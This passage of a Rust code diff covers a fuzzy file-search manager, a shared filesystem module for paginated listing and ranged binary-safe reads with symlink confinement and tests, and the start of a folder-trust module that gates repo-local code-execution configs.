let mut state = serializer.serialize_struct("FuzzyMatchResult", 5)?;
|
||||
state.serialize_field("name", &name)?;
|
||||
state.serialize_field("type", node_type)?;
|
||||
state.serialize_field("path", &path_str)?;
|
||||
state.serialize_field("score", &self.score)?;
|
||||
state.serialize_field("indices", &self.indices)?;
|
||||
state.end()
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
#[serde(rename_all = "camelCase")]
|
||||
pub struct FuzzySearchData {
|
||||
pub matches: Vec<FuzzyMatchResult>,
|
||||
pub total: usize,
|
||||
pub done: bool,
|
||||
pub generation: usize,
|
||||
}
|
||||
|
||||
/// Result of one fuzzy-search poll tick (see [`WorkspaceHandle::fuzzy_poll`]).
|
||||
///
|
||||
/// Consumed in-process by the shell's notification driver, so it carries the
|
||||
/// (non-`Deserialize`) match results directly rather than going over RPC.
|
||||
///
|
||||
/// [`WorkspaceHandle::fuzzy_poll`]: crate::handle::WorkspaceHandle::fuzzy_poll
|
||||
#[derive(Debug, Clone)]
|
||||
pub enum FuzzyPollOutcome {
|
||||
/// The query was superseded by a newer change — stop polling.
|
||||
Stale,
|
||||
/// The search no longer exists — stop polling.
|
||||
Closed,
|
||||
/// The search exists but produced no new results this tick — keep polling.
|
||||
Pending,
|
||||
/// New results, with paths already absolutized against the search root.
|
||||
Update(FuzzySearchData),
|
||||
}
|
||||
|
||||
pub struct FuzzySearchContext {
|
||||
pub daemon: FuzzyFileMatcherDaemon,
|
||||
pub created_at: Instant,
|
||||
pub last_activity: Instant,
|
||||
pub hidden: bool,
|
||||
pub min_generation: usize,
|
||||
pub has_query: bool,
|
||||
pub query_version: usize,
|
||||
/// The root path for this search (used to convert relative paths to absolute).
|
||||
pub root: PathBuf,
|
||||
/// Session ID for routing notifications.
|
||||
/// Used by the relay to route notifications to session subscribers.
|
||||
pub session_id: Option<String>,
|
||||
/// Target client ID for routing notifications.
|
||||
/// Extracted from `_meta.clientId` in the open request.
|
||||
pub target_client_id: TargetClientId,
|
||||
}
|
||||
|
||||
impl FuzzySearchContext {
|
||||
pub fn new(
|
||||
root: &Path,
|
||||
hidden: bool,
|
||||
session_id: Option<String>,
|
||||
target_client_id: TargetClientId,
|
||||
) -> Self {
|
||||
let matcher = FuzzyFileMatcher::new(root);
|
||||
let daemon = FuzzyFileMatcherDaemon::new(matcher, DEFAULT_TOP_K);
|
||||
daemon.restart_walk(hidden);
|
||||
|
||||
Self {
|
||||
daemon,
|
||||
created_at: Instant::now(),
|
||||
last_activity: Instant::now(),
|
||||
hidden,
|
||||
min_generation: 0,
|
||||
has_query: false,
|
||||
query_version: 0,
|
||||
root: root.to_path_buf(),
|
||||
session_id,
|
||||
target_client_id,
|
||||
}
|
||||
}
|
||||
|
||||
pub fn is_stale(&self, timeout: Duration) -> bool {
|
||||
self.last_activity.elapsed() > timeout
|
||||
}
|
||||
}
|
||||
|
||||
pub struct FuzzySearchManager {
|
||||
searches: HashMap<FuzzySearchId, FuzzySearchContext>,
|
||||
timeout: Duration,
|
||||
}
|
||||
|
||||
impl FuzzySearchManager {
|
||||
pub fn new(timeout: Duration) -> Self {
|
||||
Self {
|
||||
searches: HashMap::new(),
|
||||
timeout,
|
||||
}
|
||||
}
|
||||
|
||||
pub fn open(
|
||||
&mut self,
|
||||
root: &Path,
|
||||
request_id: Option<String>,
|
||||
hidden: bool,
|
||||
session_id: Option<String>,
|
||||
target_client_id: TargetClientId,
|
||||
) -> FuzzySearchId {
|
||||
self.cleanup_stale();
|
||||
let search_id = request_id.unwrap_or_else(|| Uuid::now_v7().to_string());
|
||||
|
||||
let context = FuzzySearchContext::new(root, hidden, session_id, target_client_id);
|
||||
self.searches.insert(search_id.clone(), context);
|
||||
search_id
|
||||
}
|
||||
|
||||
/// Get the session ID for a search, if one was set.
|
||||
/// Used for routing notifications to session subscribers.
|
||||
pub fn get_session_id(&self, search_id: &str) -> Option<String> {
|
||||
self.searches
|
||||
.get(search_id)
|
||||
.and_then(|ctx| ctx.session_id.clone())
|
||||
}
|
||||
|
||||
/// Get the target client ID for a search, if one was set.
|
||||
/// Used for routing notifications to the correct client via relay.
|
||||
pub fn get_target_client_id(&self, search_id: &str) -> TargetClientId {
|
||||
self.searches
|
||||
.get(search_id)
|
||||
.map(|ctx| ctx.target_client_id.clone())
|
||||
.unwrap_or_default()
|
||||
}
|
||||
|
||||
/// Get the root path for a search.
|
||||
/// Used to convert relative paths to absolute paths in results.
|
||||
pub fn get_root(&self, search_id: &str) -> Option<PathBuf> {
|
||||
self.searches.get(search_id).map(|ctx| ctx.root.clone())
|
||||
}
|
||||
|
||||
pub fn change(
|
||||
&mut self,
|
||||
search_id: &str,
|
||||
query: &str,
|
||||
dirs_only: bool,
|
||||
) -> Option<(usize, bool, usize)> {
|
||||
let ctx = self.searches.get_mut(search_id)?;
|
||||
ctx.last_activity = Instant::now();
|
||||
|
||||
// Rewalk on empty query to refresh index when picker opens.
|
||||
if query.is_empty() {
|
||||
ctx.daemon.restart_walk(ctx.hidden);
|
||||
}
|
||||
|
||||
ctx.daemon.set_query(query, dirs_only);
|
||||
ctx.min_generation += 1;
|
||||
ctx.has_query = !query.is_empty();
|
||||
ctx.query_version += 1;
|
||||
Some((ctx.min_generation, ctx.has_query, ctx.query_version))
|
||||
}
|
||||
|
||||
pub fn is_current_query(&self, search_id: &str, query_version: usize) -> bool {
|
||||
self.searches
|
||||
.get(search_id)
|
||||
.is_some_and(|ctx| ctx.query_version == query_version)
|
||||
}
|
||||
|
||||
pub fn get_results(&mut self, search_id: &str) -> Option<FuzzySearchData> {
|
||||
let ctx = self.searches.get_mut(search_id)?;
|
||||
ctx.last_activity = Instant::now();
|
||||
|
||||
let results = ctx.daemon.get();
|
||||
|
||||
Some(FuzzySearchData {
|
||||
matches: results.topk.to_vec(),
|
||||
total: results.num_items,
|
||||
done: results.status.done,
|
||||
generation: results.generation,
|
||||
})
|
||||
}
|
||||
|
||||
pub fn get_results_filtered(
|
||||
&mut self,
|
||||
search_id: &str,
|
||||
min_gen: usize,
|
||||
has_query: bool,
|
||||
) -> Option<FuzzySearchData> {
|
||||
let ctx = self.searches.get_mut(search_id)?;
|
||||
ctx.last_activity = Instant::now();
|
||||
|
||||
let results = ctx.daemon.get();
|
||||
|
||||
if results.generation < min_gen {
|
||||
return None;
|
||||
}
|
||||
|
||||
// Skip intermediate states: empty results or unscored defaults while scanning
|
||||
if has_query && !results.status.done {
|
||||
if results.topk.is_empty() {
|
||||
return None;
|
||||
}
|
||||
let all_unscored = results
|
||||
.topk
|
||||
.iter()
|
||||
.all(|m| m.score == 0 && m.indices.is_empty());
|
||||
if all_unscored {
|
||||
return None;
|
||||
}
|
||||
}
|
||||
|
||||
Some(FuzzySearchData {
|
||||
matches: results.topk.to_vec(),
|
||||
total: results.num_items,
|
||||
done: results.status.done,
|
||||
generation: results.generation,
|
||||
})
|
||||
}
|
||||
|
||||
pub fn close(&mut self, search_id: &str) -> bool {
|
||||
self.searches.remove(search_id).is_some()
|
||||
}
|
||||
|
||||
pub fn cleanup_stale(&mut self) {
|
||||
let timeout = self.timeout;
|
||||
self.searches.retain(|_, ctx| !ctx.is_stale(timeout));
|
||||
}
|
||||
|
||||
pub fn active_count(&self) -> usize {
|
||||
self.searches.len()
|
||||
}
|
||||
}
|
||||
|
||||
impl Default for FuzzySearchManager {
|
||||
fn default() -> Self {
|
||||
Self::new(Duration::from_secs(DEFAULT_SEARCH_TIMEOUT_SECS))
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,344 @@
|
||||
//! Shared filesystem core for the fs list/read ops.
|
||||
//!
|
||||
//! Owns the `ignore::WalkBuilder` configuration, glob overrides, the
|
||||
//! dirs-first paginated listing ([`list_directory_paged`]), and the
|
||||
//! binary-safe ranged-read primitives ([`read_range`], [`encode_chunk`])
|
||||
//! used by all three fs surfaces — the shell-local
|
||||
//! `session::file_system`, the shell-facing
|
||||
//! [`ext_fs`](super::ext_fs) `workspace.fs_*`, and the client-facing
|
||||
//! [`client_fs`](super::client_fs) `workspace.client_fs_*` — so walk and
|
||||
//! read fixes apply to every consumer. Each consumer maps the neutral
|
||||
//! [`ListedEntry`] / [`ChunkPayload`] to its own wire shape (absolute vs
|
||||
//! root-relative paths, RFC 3339 vs epoch-ms timestamps, MIME vs
|
||||
//! text/binary type tags).
|
||||
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::time::SystemTime;
|
||||
|
||||
use base64::Engine;
|
||||
use ignore::{WalkBuilder, overrides::OverrideBuilder};
|
||||
use kigi_workspace_types::rpc::fs::FsReadEncoding;
|
||||
|
||||
/// Hard cap on entries collected per list call before sorting. A
|
||||
/// pathological directory truncates (`truncated = true`) instead of
|
||||
/// ballooning memory. Shared by every fs surface.
|
||||
pub const MAX_LIST_COLLECT: usize = 50_000;
|
||||
|
||||
/// Server-side cap on a single ranged read's effective byte budget
|
||||
/// (`min(length, max_bytes)`). 4 MiB raw (≈ 5.3 MiB base64) stays under
|
||||
/// the server's 8 MiB frame cap. Shared by every fs read surface.
|
||||
pub const MAX_READ_BYTES: u64 = 4 * 1024 * 1024;
|
||||
|
||||
/// Resolve a ranged read's effective byte budget, shared by every fs read
|
||||
/// surface so the clamp policy can't drift between them. An absent `length`
|
||||
/// means "to EOF", but the result is always capped at the caller's
|
||||
/// `max_bytes` and the hard [`MAX_READ_BYTES`] server limit — so a short
|
||||
/// read is expected, and callers detect "more data" by comparing the
|
||||
/// returned bytes (at `offset`) against the file `size`.
|
||||
pub fn clamp_read_length(length: Option<u64>, max_bytes: u64) -> u64 {
|
||||
length
|
||||
.unwrap_or(u64::MAX)
|
||||
.min(max_bytes)
|
||||
.min(MAX_READ_BYTES)
|
||||
}
|
||||
|
||||
/// Walk configuration. Field semantics mirror the `x.ai/fs/list` request.
|
||||
pub(super) struct FsWalk<'a> {
|
||||
pub depth: usize,
|
||||
pub follow_symlinks: bool,
|
||||
pub respect_git_ignore: bool,
|
||||
pub include_hidden: bool,
|
||||
pub include_globs: &'a [String],
|
||||
pub exclude_globs: &'a [String],
|
||||
/// When set, symlink entries whose canonical target leaves this
|
||||
/// canonical root are excluded — and not descended into — so a walk
|
||||
/// of a confined tree cannot enumerate paths outside it. `None`
|
||||
/// preserves the shell's unconfined semantics.
|
||||
pub confine_to_canonical_root: Option<PathBuf>,
|
||||
}
|
||||
|
||||
/// One raw walk entry; `metadata` follows symlinks (like `fs::metadata`).
|
||||
pub(super) struct RawFsEntry {
|
||||
pub path: PathBuf,
|
||||
pub name: String,
|
||||
pub is_symlink: bool,
|
||||
pub metadata: std::fs::Metadata,
|
||||
}
|
||||
|
||||
/// Walk `abs_dir` per `opts`, collecting up to `max_entries` entries (the
|
||||
/// root itself is skipped; unreadable entries are skipped without counting).
|
||||
/// Returns `(entries, hit_cap)` where `hit_cap` means the walk stopped at
|
||||
/// the cap with entries left over.
|
||||
pub(super) fn walk_fs_entries(
|
||||
abs_dir: &Path,
|
||||
opts: FsWalk<'_>,
|
||||
max_entries: usize,
|
||||
) -> (Vec<RawFsEntry>, bool) {
|
||||
let overrides = build_glob_overrides(abs_dir, opts.include_globs, opts.exclude_globs);
|
||||
let mut builder = WalkBuilder::new(abs_dir);
|
||||
builder
|
||||
.max_depth(Some(opts.depth))
|
||||
.follow_links(opts.follow_symlinks)
|
||||
.same_file_system(true)
|
||||
.standard_filters(true)
|
||||
.git_ignore(opts.respect_git_ignore)
|
||||
.git_global(opts.respect_git_ignore)
|
||||
.git_exclude(opts.respect_git_ignore)
|
||||
.hidden(!opts.include_hidden)
|
||||
.overrides(overrides);
|
||||
if let Some(canonical_root) = opts.confine_to_canonical_root {
|
||||
builder.filter_entry(move |dent| symlink_stays_in_root(dent.path(), &canonical_root));
|
||||
}
|
||||
|
||||
let mut entries: Vec<RawFsEntry> = Vec::new();
|
||||
let mut hit_cap = false;
|
||||
for dent in builder.build() {
|
||||
let Ok(entry) = dent else { continue };
|
||||
if entry.depth() == 0 {
|
||||
continue;
|
||||
}
|
||||
if entries.len() >= max_entries {
|
||||
hit_cap = true;
|
||||
break;
|
||||
}
|
||||
let path = entry.path().to_path_buf();
|
||||
let is_symlink = std::fs::symlink_metadata(&path)
|
||||
.map(|m| m.file_type().is_symlink())
|
||||
.unwrap_or(false);
|
||||
let metadata = match std::fs::metadata(&path) {
|
||||
Ok(m) => m,
|
||||
Err(_) => continue,
|
||||
};
|
||||
entries.push(RawFsEntry {
|
||||
name: entry.file_name().to_string_lossy().into_owned(),
|
||||
path,
|
||||
is_symlink,
|
||||
metadata,
|
||||
});
|
||||
}
|
||||
(entries, hit_cap)
|
||||
}
|
||||
|
||||
/// `true` when `path` is not a symlink, or is a symlink whose canonical
|
||||
/// target stays under `canonical_root`. Unverifiable symlinks (e.g.
|
||||
/// dangling) are excluded — confinement fails closed.
|
||||
fn symlink_stays_in_root(path: &Path, canonical_root: &Path) -> bool {
|
||||
let is_symlink = std::fs::symlink_metadata(path)
|
||||
.map(|m| m.file_type().is_symlink())
|
||||
.unwrap_or(false);
|
||||
if !is_symlink {
|
||||
return true;
|
||||
}
|
||||
dunce::canonicalize(path)
|
||||
.map(|c| c.starts_with(canonical_root))
|
||||
.unwrap_or(false)
|
||||
}
|
||||
|
||||
pub(super) fn build_glob_overrides(
|
||||
base: &Path,
|
||||
include: &[String],
|
||||
exclude: &[String],
|
||||
) -> ignore::overrides::Override {
|
||||
let mut ob = OverrideBuilder::new(base);
|
||||
for pat in include {
|
||||
let patt = if pat.starts_with('!') {
|
||||
pat.clone()
|
||||
} else {
|
||||
format!("!{}", pat)
|
||||
};
|
||||
let _ = ob.add(&patt);
|
||||
}
|
||||
for pat in exclude {
|
||||
let _ = ob.add(pat);
|
||||
}
|
||||
ob.build().unwrap_or_else(|_| {
|
||||
OverrideBuilder::new(base)
|
||||
.build()
|
||||
.expect("override build fallback")
|
||||
})
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Paginated listing
|
||||
// =========================================================================
|
||||
|
||||
/// One listed node in neutral form (no wire serialization). Consumers map
|
||||
/// this to their own node shape.
|
||||
pub struct ListedEntry {
|
||||
/// File name (final path component).
|
||||
pub name: String,
|
||||
/// Absolute path on the workspace/host filesystem.
|
||||
pub abs_path: PathBuf,
|
||||
/// Whether the entry is a directory.
|
||||
pub is_dir: bool,
|
||||
/// Whether the entry itself is a symlink.
|
||||
pub is_symlink: bool,
|
||||
/// Size in bytes (files only).
|
||||
pub size: Option<u64>,
|
||||
/// Modification time, when readable.
|
||||
pub modified: Option<SystemTime>,
|
||||
}
|
||||
|
||||
/// One page of a directory listing.
|
||||
pub struct ListPage {
|
||||
/// The page slice `[offset, offset + limit)` after the dirs-first sort.
|
||||
pub entries: Vec<ListedEntry>,
|
||||
/// `true` when more entries exist beyond this page, or the collection
|
||||
/// cap was hit before the walk finished.
|
||||
pub truncated: bool,
|
||||
}
|
||||
|
||||
/// Options for [`list_directory_paged`].
|
||||
pub struct ListOptions<'a> {
|
||||
pub depth: usize,
|
||||
pub follow_symlinks: bool,
|
||||
pub respect_git_ignore: bool,
|
||||
pub include_hidden: bool,
|
||||
pub include_globs: &'a [String],
|
||||
pub exclude_globs: &'a [String],
|
||||
/// Pagination offset applied after the sort.
|
||||
pub offset: u64,
|
||||
/// Page size (already clamped by the caller as appropriate).
|
||||
pub limit: usize,
|
||||
/// When set, mid-walk symlink escapes outside this canonical root are
|
||||
/// excluded; `None` keeps the shell's unconfined semantics.
|
||||
pub confine_to_canonical_root: Option<PathBuf>,
|
||||
}
|
||||
|
||||
/// Whether more entries exist than this page returned. True when entries
|
||||
/// remain beyond the page (`end < total`) OR the walk hit the collection cap
|
||||
/// AND the caller has not yet paged past the collected window
|
||||
/// (`hit_cap && start < total`). Gating the cap term on `start < total` is
|
||||
/// what makes a `while truncated { offset += limit }` loop terminate: once a
|
||||
/// client has consumed every collected entry the flag drops to false instead
|
||||
/// of reporting the (unreachable) over-cap remainder forever.
|
||||
fn page_truncated(start: usize, end: usize, total: usize, hit_cap: bool) -> bool {
|
||||
end < total || (hit_cap && start < total)
|
||||
}
|
||||
|
||||
/// Walk `abs_dir`, sort directories-first / case-insensitive (with exact
|
||||
/// name as a deterministic tiebreak), then return the stable slice
|
||||
/// `[offset, offset + limit)`. See [`page_truncated`] for the `truncated`
|
||||
/// semantics (incomplete listing OR more pages, but terminating).
|
||||
pub fn list_directory_paged(abs_dir: &Path, opts: ListOptions<'_>, max_collect: usize) -> ListPage {
|
||||
let (raw, hit_cap) = walk_fs_entries(
|
||||
abs_dir,
|
||||
FsWalk {
|
||||
depth: opts.depth,
|
||||
follow_symlinks: opts.follow_symlinks,
|
||||
respect_git_ignore: opts.respect_git_ignore,
|
||||
include_hidden: opts.include_hidden,
|
||||
include_globs: opts.include_globs,
|
||||
exclude_globs: opts.exclude_globs,
|
||||
confine_to_canonical_root: opts.confine_to_canonical_root,
|
||||
},
|
||||
max_collect,
|
||||
);
|
||||
|
||||
let mut entries: Vec<ListedEntry> = raw
|
||||
.into_iter()
|
||||
.map(|e| ListedEntry {
|
||||
is_dir: e.metadata.is_dir(),
|
||||
size: e.metadata.is_file().then_some(e.metadata.len()),
|
||||
modified: e.metadata.modified().ok(),
|
||||
is_symlink: e.is_symlink,
|
||||
abs_path: e.path,
|
||||
name: e.name,
|
||||
})
|
||||
.collect();
|
||||
|
||||
// Directories first, then case-insensitive by name; exact name as a
|
||||
// tiebreak so page boundaries are deterministic.
|
||||
entries.sort_by_cached_key(|n| (!n.is_dir, n.name.to_lowercase(), n.name.clone()));
|
||||
|
||||
let total = entries.len();
|
||||
let start = usize::try_from(opts.offset)
|
||||
.unwrap_or(usize::MAX)
|
||||
.min(total);
|
||||
let end = start.saturating_add(opts.limit).min(total);
|
||||
let truncated = page_truncated(start, end, total, hit_cap);
|
||||
entries.truncate(end);
|
||||
let page = entries.split_off(start);
|
||||
ListPage {
|
||||
entries: page,
|
||||
truncated,
|
||||
}
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Ranged, binary-safe reads
|
||||
// =========================================================================
|
||||
|
||||
/// A read chunk in the requested transfer encoding.
|
||||
pub enum ChunkPayload {
|
||||
/// Valid UTF-8 text (caller places it in a `content` field).
|
||||
Text(String),
|
||||
/// Base64 of the raw bytes (caller places it in a `contentBase64`
|
||||
/// field). Used when `base64` is requested or the bytes are not UTF-8.
|
||||
Base64(String),
|
||||
}
|
||||
|
||||
/// Encode `bytes` per `encoding`, returning the payload and whether the
|
||||
/// bytes were valid UTF-8 (`is_text`). One UTF-8 validation pass; on the
|
||||
/// `Utf8` request the error hands the bytes back for base64 fallback.
|
||||
pub fn encode_chunk(bytes: Vec<u8>, encoding: FsReadEncoding) -> (ChunkPayload, bool) {
|
||||
let b64 = |b: &[u8]| base64::engine::general_purpose::STANDARD.encode(b);
|
||||
match (encoding, String::from_utf8(bytes)) {
|
||||
(FsReadEncoding::Utf8, Ok(text)) => (ChunkPayload::Text(text), true),
|
||||
(FsReadEncoding::Utf8, Err(e)) => (ChunkPayload::Base64(b64(e.as_bytes())), false),
|
||||
(FsReadEncoding::Base64, Ok(text)) => (ChunkPayload::Base64(b64(text.as_bytes())), true),
|
||||
(FsReadEncoding::Base64, Err(e)) => (ChunkPayload::Base64(b64(e.as_bytes())), false),
|
||||
}
|
||||
}
|
||||
|
||||
/// Read only `[offset, offset + length)` of `abs` (no hashing).
|
||||
pub async fn read_range(abs: &Path, offset: u64, length: u64) -> std::io::Result<Vec<u8>> {
|
||||
use tokio::io::{AsyncReadExt, AsyncSeekExt};
|
||||
|
||||
let mut f = tokio::fs::File::open(abs).await?;
|
||||
if offset > 0 {
|
||||
f.seek(std::io::SeekFrom::Start(offset)).await?;
|
||||
}
|
||||
let mut chunk = Vec::new();
|
||||
f.take(length).read_to_end(&mut chunk).await?;
|
||||
Ok(chunk)
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn clamp_read_length_caps_at_max_bytes_and_hard_limit() {
|
||||
// Absent length -> capped at max_bytes.
|
||||
assert_eq!(clamp_read_length(None, 1024), 1024);
|
||||
// Explicit length above max_bytes -> max_bytes wins.
|
||||
assert_eq!(clamp_read_length(Some(8192), 1024), 1024);
|
||||
// Explicit length below max_bytes -> length wins.
|
||||
assert_eq!(clamp_read_length(Some(512), 1024), 512);
|
||||
// max_bytes above the hard server limit -> hard limit wins.
|
||||
assert_eq!(clamp_read_length(None, u64::MAX), MAX_READ_BYTES);
|
||||
assert_eq!(clamp_read_length(Some(u64::MAX), u64::MAX), MAX_READ_BYTES);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn page_truncated_signals_more_pages_within_collected_set() {
|
||||
// 100 collected, no cap, page [0,10) -> more remain.
|
||||
assert!(page_truncated(0, 10, 100, false));
|
||||
// Last page [90,100) -> nothing remains.
|
||||
assert!(!page_truncated(90, 100, 100, false));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn page_truncated_terminates_when_paging_past_collection_cap() {
|
||||
// Cap hit, total clamped to 50 collected, limit 10.
|
||||
// Populated pages stay truncated (listing is incomplete)...
|
||||
assert!(page_truncated(0, 10, 50, true));
|
||||
assert!(page_truncated(40, 50, 50, true));
|
||||
// ...but once the client pages past the collected window the flag
|
||||
// drops, so `while truncated { offset += limit }` terminates instead
|
||||
// of fetching empty pages forever.
|
||||
assert!(!page_truncated(50, 50, 50, true));
|
||||
assert!(!page_truncated(60, 50, 50, true));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,975 @@
|
||||
//! Folder-trust DECISION side ("do you trust this folder?").
|
||||
//!
|
||||
//! This is the client/workspace half of the folder-trust gate: it scans a
|
||||
//! workspace for repo-local code-exec configs, resolves the pure trust
|
||||
//! [`decide`] precedence, prompts (MVP stderr), and reads/writes the durable
|
||||
//! [`crate::trust::TrustStore`] (`~/.kigi/trusted_folders.toml`). The
|
||||
//! consume/gating half (the `DECISIONS` cache, `resolve_and_record`,
|
||||
//! `project_scope_allowed`, the loader filters) lives in `kigi-shell`.
|
||||
//!
|
||||
//! ## Precedence (canonical — see [`decide`])
|
||||
//! 1. Feature flag OFF → trusted (no gating; preserves prior behavior).
|
||||
//! 2. Store (self/ancestor recorded trusted) → trusted. An explicit `--trust`
|
||||
//! grant is persisted to the store up front (see [`grant_folder_trust`]), so
|
||||
//! it is honored here.
|
||||
//! 3. Key unrecordable (an over-broad root — the user's own `$HOME` / filesystem
|
||||
//! root / non-absolute — that the store refuses to persist) → trusted: it
|
||||
//! can't be durably gated, so gating would re-prompt forever on a key that can
|
||||
//! never persist. See [`crate::trust::is_unsafe_trust_root`].
|
||||
//! 4. No repo-local code-exec configs present → trusted (nothing to gate).
|
||||
//! 5. Interactive TTY → prompt the user (y/N).
|
||||
//! 6. Otherwise (headless) → untrusted.
|
||||
//!
|
||||
//! (How the consume side caches this verdict — e.g. that the rule-4 allow is
|
||||
//! provisional and re-checked rather than cached — is a `kigi-shell`
|
||||
//! concern, documented there.)
|
||||
|
||||
use std::io::IsTerminal;
|
||||
use std::path::Path;
|
||||
|
||||
use kigi_config_types::{BoolFlag, RemoteSettings};
|
||||
use toml::Value as TomlValue;
|
||||
|
||||
use crate::trust::{TrustStore, workspace_key};
|
||||
|
||||
/// The pure trust outcome for a set of inputs.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub enum TrustOutcome {
|
||||
/// Repo-local servers allowed.
|
||||
Trusted,
|
||||
/// Repo-local servers blocked.
|
||||
Untrusted,
|
||||
/// Interactive: ask the user.
|
||||
Prompt,
|
||||
}
|
||||
|
||||
/// Inputs to the pure [`decide`] precedence function.
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
pub struct DecideInputs {
|
||||
pub store_trusted: bool,
|
||||
pub repo_configs_present: bool,
|
||||
pub is_interactive: bool,
|
||||
/// False when the workspace key is an over-broad root the store refuses to
|
||||
/// record — home / filesystem root / non-absolute; see
|
||||
/// [`crate::trust::is_unsafe_trust_root`].
|
||||
pub key_recordable: bool,
|
||||
}
|
||||
|
||||
/// Pure trust-decision precedence. No I/O; unit-tested directly.
|
||||
///
|
||||
/// See the module docs for the ordered precedence.
|
||||
pub fn decide(feature_enabled: bool, i: &DecideInputs) -> TrustOutcome {
|
||||
if !feature_enabled {
|
||||
return TrustOutcome::Trusted;
|
||||
}
|
||||
if i.store_trusted {
|
||||
return TrustOutcome::Trusted;
|
||||
}
|
||||
// An over-broad root the store can't record (the user's own $HOME / fs-root,
|
||||
// never a fetched repo) can't be durably gated — trust it instead of
|
||||
// prompting on a key that can never persist (mirrors the feature-off default).
|
||||
if !i.key_recordable {
|
||||
return TrustOutcome::Trusted;
|
||||
}
|
||||
if !i.repo_configs_present {
|
||||
return TrustOutcome::Trusted;
|
||||
}
|
||||
if i.is_interactive {
|
||||
return TrustOutcome::Prompt;
|
||||
}
|
||||
TrustOutcome::Untrusted
|
||||
}
|
||||
|
||||
/// Gather the [`DecideInputs`] for `cwd` (store trust + repo configs +
|
||||
/// interactivity), keyed by `key`. Single-sourced gather behind the shell's
|
||||
/// `compute` and launch-dir resolve so the store read and repo-config scan
|
||||
/// cannot drift across callers.
|
||||
pub fn decide_inputs(cwd: &Path, key: &Path) -> DecideInputs {
|
||||
decide_inputs_with_interactive(cwd, key, is_interactive())
|
||||
}
|
||||
|
||||
/// Like [`decide_inputs`] but with caller-supplied interactivity, so the gather
|
||||
/// (store trust + repo-config scan) stays single-sourced across callers that
|
||||
/// determine interactivity differently. The pager TUI passes
|
||||
/// `stdin().is_terminal()` ONLY: it redirects native stderr before resolving
|
||||
/// trust, so the default [`is_interactive`] (`stdin && stderr`) would be false
|
||||
/// and the question could never show.
|
||||
pub fn decide_inputs_with_interactive(
|
||||
cwd: &Path,
|
||||
key: &Path,
|
||||
is_interactive: bool,
|
||||
) -> DecideInputs {
|
||||
DecideInputs {
|
||||
store_trusted: TrustStore::load().is_trusted(key),
|
||||
// Deliberate second discover: the caller's `key` came from `workspace_key`
|
||||
// (its own git2 discover), and `repo_configs_present` → `RepoDirChain::resolve`
|
||||
// discovers the same repo again. Collapsing the two would mean threading the
|
||||
// resolved root into key derivation (rippling `workspace_key` repo-wide) — out
|
||||
// of scope; NOT the redundant discovers this change already removed.
|
||||
repo_configs_present: repo_configs_present(cwd),
|
||||
is_interactive,
|
||||
// An over-broad key (home / fs-root / non-absolute) can never be recorded
|
||||
// by the store, so decide() trusts it rather than prompt on a key that
|
||||
// can't persist (Case 2: cwd IS $HOME, incl. the default `~/.kigi`).
|
||||
key_recordable: !crate::trust::is_unsafe_trust_root(key),
|
||||
}
|
||||
}
|
||||
|
||||
/// Whether the whole folder-trust system is inert (auto-trusts everything) for
|
||||
/// this binary — true on a local/dev build (no `KIGI_VERSION` release stamp).
|
||||
///
|
||||
/// THE single security short-circuit: every explicit trust auto-grant site calls
|
||||
/// this (greppable via `folder_trust_inert`). When true a self-built grok never
|
||||
/// prompts, never gates repo-local `.envrc`/`.claude`/hooks/plugins/MCP/LSP, and
|
||||
/// does NO `trusted_folders.toml` I/O. Release-stamped builds are unaffected.
|
||||
pub fn folder_trust_inert() -> bool {
|
||||
is_local_build()
|
||||
}
|
||||
|
||||
/// Whether this binary was built without a release version stamp
|
||||
/// (`KIGI_VERSION` unset at compile time) — i.e. a local/dev build.
|
||||
///
|
||||
/// Kept local (not in `kigi-version`) on purpose: adding a symbol to that
|
||||
/// near-universal crate widens the rebuild/test fan-out for unrelated targets.
|
||||
/// `option_env!` resolves the same in any crate, so the
|
||||
/// location is behavior-neutral. Cross-crate callers use [`folder_trust_inert`].
|
||||
fn is_local_build() -> bool {
|
||||
// Runtime escape hatch: a pinned KIGI_TEST_VERSION simulates a release build,
|
||||
// so tests/CI (which run unstamped, i.e. local-looking) can exercise the gate.
|
||||
if std::env::var(kigi_version::TEST_VERSION_ENV).is_ok() {
|
||||
return false;
|
||||
}
|
||||
option_env!("KIGI_VERSION").is_none()
|
||||
}
|
||||
|
||||
/// Resolve whether the folder-trust gate is enabled.
|
||||
///
|
||||
/// On a local/dev build (no `KIGI_VERSION` release stamp) the feature is OFF
|
||||
/// regardless of env/config/remote — a self-built grok auto-trusts (never
|
||||
/// prompts, never gates repo-local MCP/LSP). Folder-trust applies only to
|
||||
/// shipped, release-stamped binaries.
|
||||
///
|
||||
/// On a release-stamped build, normal precedence (via `BoolFlag`):
|
||||
/// env `KIGI_FOLDER_TRUST` > `[folder_trust] enabled` (user) > managed >
|
||||
/// remote `folder_trust_enabled` > default **true** (on by default; the remote
|
||||
/// `folder_trust_enabled` kill-switch or a `[folder_trust] enabled = false`
|
||||
/// opt-out turns it back off).
|
||||
pub fn feature_enabled(remote: Option<&RemoteSettings>) -> bool {
|
||||
feature_enabled_for_build(remote, is_local_build())
|
||||
}
|
||||
|
||||
/// `feature_enabled` with the local-build flag fed in so both arms are unit-testable.
|
||||
fn feature_enabled_for_build(remote: Option<&RemoteSettings>, is_local_build: bool) -> bool {
|
||||
// Local/dev builds never gate (auto-trust): folder-trust applies only to
|
||||
// shipped, release-stamped binaries. Even an explicit KIGI_FOLDER_TRUST/config
|
||||
// opt-in is ignored here so a self-built grok never prompts.
|
||||
if is_local_build {
|
||||
return false;
|
||||
}
|
||||
fn from_toml(v: Option<&TomlValue>) -> Option<bool> {
|
||||
v?.get("folder_trust")?.get("enabled")?.as_bool()
|
||||
}
|
||||
let user = kigi_config::load_from_disk().ok();
|
||||
let managed = kigi_config::load_managed_config().ok();
|
||||
BoolFlag::env("KIGI_FOLDER_TRUST")
|
||||
.config(from_toml(user.as_ref()))
|
||||
.managed(from_toml(managed.as_ref()))
|
||||
